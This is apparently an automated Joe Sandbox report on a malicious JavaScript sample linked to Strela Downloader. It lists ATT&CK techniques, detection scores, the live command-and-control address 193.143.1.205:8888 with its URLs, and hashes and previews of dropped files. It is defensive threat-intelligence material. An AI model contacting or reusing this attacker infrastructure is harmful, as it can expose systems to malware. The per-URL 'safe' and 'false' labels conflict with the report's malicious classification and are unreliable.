Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
27344289642108220053.js	0%	ReversingLabs
27344289642108220053.js	5%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/pacee	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2742274692.000002511388C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000009.00000003.1528916918.0000025113670000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/pacee	net.exe, 00000007.00000002.1519715719.000001CD118D8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1519770475.000001CD11913000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587955
Start date and time:	2025-01-10 19:44:00 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	27344289642108220053.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@28/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 162.159.61.3, 172.64.41.3, 50.16.47.176, 18.213.11.84, 54.224.241.105, 34.237.241.83, 23.209.209.135, 2.23.242.162, 2.22.50.151, 2.22.50.131, 2.16.168.105, 2.16.168.107, 3.219.243.226, 52.149.20.212, 23.206.252.175, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
13:45:01	API Interceptor	23x Sleep call for process: powershell.exe modified
13:45:06	API Interceptor	1x Sleep call for process: net.exe modified
13:45:06	API Interceptor	2x Sleep call for process: svchost.exe modified
13:45:14	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	3090182781939528365.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2986414422293398212.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1808220077299634192.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2628895762659930884.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1932574451821324222.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	867419171264419639.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	9191198332977923109.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	390712401072120127.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1956351416528695.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	125141699249677575.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	WSJ25F.bat	Get hash	malicious	Unknown	Browse	199.232.210.172
	1808220077299634192.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1932574451821324222.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	867419171264419639.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	9191198332977923109.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1956351416528695.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	125141699249677575.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1227622214229272730.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	293816234142143228.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	301901880157741390.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	3090182781939528365.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2986414422293398212.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1808220077299634192.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2628895762659930884.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	15410205613216010723.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1932574451821324222.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	867419171264419639.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	9191198332977923109.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	958713604204492412.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	390712401072120127.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8021917824213584
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUAT:RJE+Lfki1GjHwU/+vVhWqpS
MD5:	9209B2FB99631BE910F98BC78C6FAFE3
SHA1:	35D33CE938FC59B28EC0BB674DDFE7DE2F6A99A0
SHA-256:	7EB57D67696B83B3A9B890FB99390E7C1B98E76482427690460A27E35512C16A
SHA-512:	603E67405783B642794879EC8EE8BA04A339ECEB0DE2D55B9299EF0D049CE57B2A9BC61DFC60F277CA2858E328225BF74653D4D5FE2B3AB6EF8D3249EFBAE56A
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xecf7bedf, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.9432930642585325
Encrypted:	false
SSDEEP:	1536:TSB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:TazaHvxXy2V2UR
MD5:	8528C318A0E42C5C0337DAA83C9F0EA1
SHA1:	150DAF144ED6696AE79CC9C1A081866EAEE07B43
SHA-256:	F8287E5218A5C380DC840B6DD7FEF5B536C66358C44A2845F1B24B811CA82C98
SHA-512:	012D6B9446F7494CFBA14E7B2BD822712B6B709F878B8747D4EA903016BAAF03A45AC8D8E598E621D0FCA5A313AA4217CF1F4786AE77CFE564F4979838488E3D
Malicious:	false
Preview:	....... ...............X\...;...{......................0.x...... ...{s..-...}..h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{.....................................A.-...}.....................8.-...}...........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08120135904281206
Encrypted:	false
SSDEEP:	3:Gll8YeV0kVEl/nqlFcl1ZUlllldgll/ollGBnX/l/Tj/k7/t:28zVgl/qlFclQ/l7glA254
MD5:	F76EF3CBF2789D6D25E34CF39A9254D2
SHA1:	41809D1EEC8E34C47B593D8BD1B89B7CD427A337
SHA-256:	9236A9154CAECD697F58EF49527BE9320A2803721AE02F1421F72D542C2E7C8D
SHA-512:	CC9840F4BC3A63F50BEC9A1D5EA28A8997D157F6DC8BF0FBDA2A36785BBD94CB1544786A3802F220005743F6D452382F9DE942FE39B9CD3A1AD95A5A57BC7588
Malicious:	false
Preview:	MR......................................;...{...-...}... ...{s.......... ...{s.. ...{s.P.... ...{s....................8.-...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.1607248240050785
Encrypted:	false
SSDEEP:	6:iO4zzq2PCHhJ2nKuAl9OmbnIFUtSzQZmwszYkwOCHhJ2nKuAl9OmbjLJ:7wzvBHAahFUtCQ/8Y56HAaSJ
MD5:	64689F033B467AFA83CF04412169952A
SHA1:	D8F17C2348D5C66C56F2E7E64C313326E23B1700
SHA-256:	C33F856AB72210B63DA756C207A12EE018485A0CECDED9E4838B796358EFC6B1
SHA-512:	08AE5C051553265CAC179162CB2FF6453C73E50576DE96687ED35CE8F694C0A9284B6BB8B0F5582CE8D25ABDC77C847C74C43AC538AF158DA1A3EC39A06DABD7
Malicious:	false
Preview:	2025/01/10-13:45:06.600 1a54 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-13:45:06.602 1a54 Recovering log #3.2025/01/10-13:45:06.602 1a54 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.1607248240050785
Encrypted:	false
SSDEEP:	6:iO4zzq2PCHhJ2nKuAl9OmbnIFUtSzQZmwszYkwOCHhJ2nKuAl9OmbjLJ:7wzvBHAahFUtCQ/8Y56HAaSJ
MD5:	64689F033B467AFA83CF04412169952A
SHA1:	D8F17C2348D5C66C56F2E7E64C313326E23B1700
SHA-256:	C33F856AB72210B63DA756C207A12EE018485A0CECDED9E4838B796358EFC6B1
SHA-512:	08AE5C051553265CAC179162CB2FF6453C73E50576DE96687ED35CE8F694C0A9284B6BB8B0F5582CE8D25ABDC77C847C74C43AC538AF158DA1A3EC39A06DABD7
Malicious:	false
Preview:	2025/01/10-13:45:06.600 1a54 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-13:45:06.602 1a54 Recovering log #3.2025/01/10-13:45:06.602 1a54 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.189634070528781
Encrypted:	false
SSDEEP:	6:iO4zQcJIq2PCHhJ2nKuAl9Ombzo2jMGIFUtSzQLZZmwszQLzkwOCHhJ2nKuAl9OU:7wQcavBHAa8uFUtC2Z/82z56HAa8RJ
MD5:	D964763BF0BA8D29534F91C4EF97C72D
SHA1:	F6CF9C8C305DC1BCADA8193FA7AD000D7A079228
SHA-256:	F4629B49F7CB9E719E8A99FA19679E2AEEE1053F2A1F4BADAA8E29C9B13BCA9D
SHA-512:	C408DCA291DD5B8A3A0A2D484FC9E2C361AA7A3D453C8B312D8211816619CFFD9DDF23A14807F306C7C6B1204E3FE93F1CED93D2019252DCEC9B503565B8E0D7
Malicious:	false
Preview:	2025/01/10-13:45:06.569 2f0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-13:45:06.571 2f0 Recovering log #3.2025/01/10-13:45:06.571 2f0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.189634070528781
Encrypted:	false
SSDEEP:	6:iO4zQcJIq2PCHhJ2nKuAl9Ombzo2jMGIFUtSzQLZZmwszQLzkwOCHhJ2nKuAl9OU:7wQcavBHAa8uFUtC2Z/82z56HAa8RJ
MD5:	D964763BF0BA8D29534F91C4EF97C72D
SHA1:	F6CF9C8C305DC1BCADA8193FA7AD000D7A079228
SHA-256:	F4629B49F7CB9E719E8A99FA19679E2AEEE1053F2A1F4BADAA8E29C9B13BCA9D
SHA-512:	C408DCA291DD5B8A3A0A2D484FC9E2C361AA7A3D453C8B312D8211816619CFFD9DDF23A14807F306C7C6B1204E3FE93F1CED93D2019252DCEC9B503565B8E0D7
Malicious:	false
Preview:	2025/01/10-13:45:06.569 2f0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-13:45:06.571 2f0 Recovering log #3.2025/01/10-13:45:06.571 2f0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\95213f5d-a288-4969-aa4c-6fe76c814ccb.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.963247713778661
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqRYSsBdOg2HEcaq3QYiub6P7E4TX:Y2sRds9dMHX3QYhbS7n7
MD5:	D46529E824E6E834D0D750C5560C136C
SHA1:	E6597929E439E6AF24CE7249F0D303987F0760BF
SHA-256:	818753A5C6D3C843FBA032CCB1B1681F6226C17B388A1E3052774B1DD8809C72
SHA-512:	CE939B02393B7F46CE528527A40DCB56023CF6682B664D5685354CDA51388EE603FCAF018A428EFB08AD5800B68847F6F512B05F6D772E435507EE32BCEA0963
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341054937965898","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146333},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.963247713778661
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqRYSsBdOg2HEcaq3QYiub6P7E4TX:Y2sRds9dMHX3QYhbS7n7
MD5:	D46529E824E6E834D0D750C5560C136C
SHA1:	E6597929E439E6AF24CE7249F0D303987F0760BF
SHA-256:	818753A5C6D3C843FBA032CCB1B1681F6226C17B388A1E3052774B1DD8809C72
SHA-512:	CE939B02393B7F46CE528527A40DCB56023CF6682B664D5685354CDA51388EE603FCAF018A428EFB08AD5800B68847F6F512B05F6D772E435507EE32BCEA0963
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341054937965898","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146333},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF40f99b.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.963247713778661
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqRYSsBdOg2HEcaq3QYiub6P7E4TX:Y2sRds9dMHX3QYhbS7n7
MD5:	D46529E824E6E834D0D750C5560C136C
SHA1:	E6597929E439E6AF24CE7249F0D303987F0760BF
SHA-256:	818753A5C6D3C843FBA032CCB1B1681F6226C17B388A1E3052774B1DD8809C72
SHA-512:	CE939B02393B7F46CE528527A40DCB56023CF6682B664D5685354CDA51388EE603FCAF018A428EFB08AD5800B68847F6F512B05F6D772E435507EE32BCEA0963
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341054937965898","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146333},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\f61dd91a-2b61-4f48-b14a-8d9562be0a71.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.9655162853550765
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq6sBdOg2Htcaq3QYiub6P7E4TX:Y2sRdsCdMHc3QYhbS7n7
MD5:	496F277EFB8ABF4B1E957CE10585D1F6
SHA1:	C057DD791941C7F6601A05D3045D7A89437E9CE6
SHA-256:	A3E54B548D845DA2D2D1885339E984C6B45EDFCCF30371284C30FFC4DEFACBCA
SHA-512:	BE052E08C79E321A6DCF3F705141983642C4B714B7523F16700BB4EA78E0EB2C6F211C2F1CD923E08B25E7D945273184268CE6D8D89CF8EC551BF43C810D7DEE
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381094718099845","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":125843},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.237416195120263
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+bshxHBY:S43C4mS7fFi0KFYDjr3LWO3V3aw+bshE
MD5:	2E66CDA3F02D5F4E8AFDB8C05E11A326
SHA1:	A0E7A6D8FDAAF083289D16862657CC7A6A04A0D2
SHA-256:	8FF9487EE73453E564B847BBE5D62FECB319FE3AFF225E29484BFE77EA4889BC
SHA-512:	8A48CF8C2A84A40E806F9EE603BB6093F498D163D8DB9C631EAC0E6A8AB90E0CE6C8DC34C2D8D2240F70CB1E45FC88A4413AA77640F24497C7866A8DD8882FD0
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.171964041107093
Encrypted:	false
SSDEEP:	6:iO4z+Jq2PCHhJ2nKuAl9OmbzNMxIFUtSz+5TZmwsz+5JkwOCHhJ2nKuAl9OmbzNq:7wyvBHAa8jFUtCm/8a56HAa84J
MD5:	05146F6E2F9826163611428FDB1F8D7E
SHA1:	02735E591E8F04216149CEEF03B1C8DBA13B43E3
SHA-256:	304580913C0AEE3A20FFF76D3B28575D5568F6F10CC6CF5547D557E0FB384851
SHA-512:	DE6E1B5825B0B219B824D64013F5066E02F6C12BE0E441E9A50F84CC7057F1B942C78E92EA4EFBE26125E16D778EDCF25F47788BA08C3D5517663592CD51A88A
Malicious:	false
Preview:	2025/01/10-13:45:07.544 2f0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-13:45:07.545 2f0 Recovering log #3.2025/01/10-13:45:07.545 2f0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.171964041107093
Encrypted:	false
SSDEEP:	6:iO4z+Jq2PCHhJ2nKuAl9OmbzNMxIFUtSz+5TZmwsz+5JkwOCHhJ2nKuAl9OmbzNq:7wyvBHAa8jFUtCm/8a56HAa84J
MD5:	05146F6E2F9826163611428FDB1F8D7E
SHA1:	02735E591E8F04216149CEEF03B1C8DBA13B43E3
SHA-256:	304580913C0AEE3A20FFF76D3B28575D5568F6F10CC6CF5547D557E0FB384851
SHA-512:	DE6E1B5825B0B219B824D64013F5066E02F6C12BE0E441E9A50F84CC7057F1B942C78E92EA4EFBE26125E16D778EDCF25F47788BA08C3D5517663592CD51A88A
Malicious:	false
Preview:	2025/01/10-13:45:07.544 2f0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-13:45:07.545 2f0 Recovering log #3.2025/01/10-13:45:07.545 2f0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
